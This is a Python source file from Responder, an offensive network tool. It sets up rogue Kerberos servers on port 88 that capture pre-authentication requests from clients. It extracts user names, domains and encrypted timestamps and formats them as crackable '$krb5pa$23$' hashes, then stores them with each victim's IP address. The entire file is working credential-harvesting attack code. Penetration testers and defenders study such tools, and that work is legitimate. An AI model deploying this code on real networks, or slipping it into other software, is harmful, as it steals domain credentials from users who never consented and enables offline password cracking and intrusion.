core/servers/Kerberos.py
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import core.responder.settings as settings
import threading
from traceback import print_exc
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer
from core.responder.utils import *
class Kerberos:
def start(self):
try:
if OsInterfaceIsSupported():
server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP)
server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP)
else:
server1 = ThreadingTCPServer(('', 88), KerbTCP)
server2 = ThreadingUDPServer(('', 88), KerbUDP)
for server in [server1, server2]:
t = threading.Thread(name='Kerberos', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting Kerberos server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
UDPServer.server_bind(self)
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise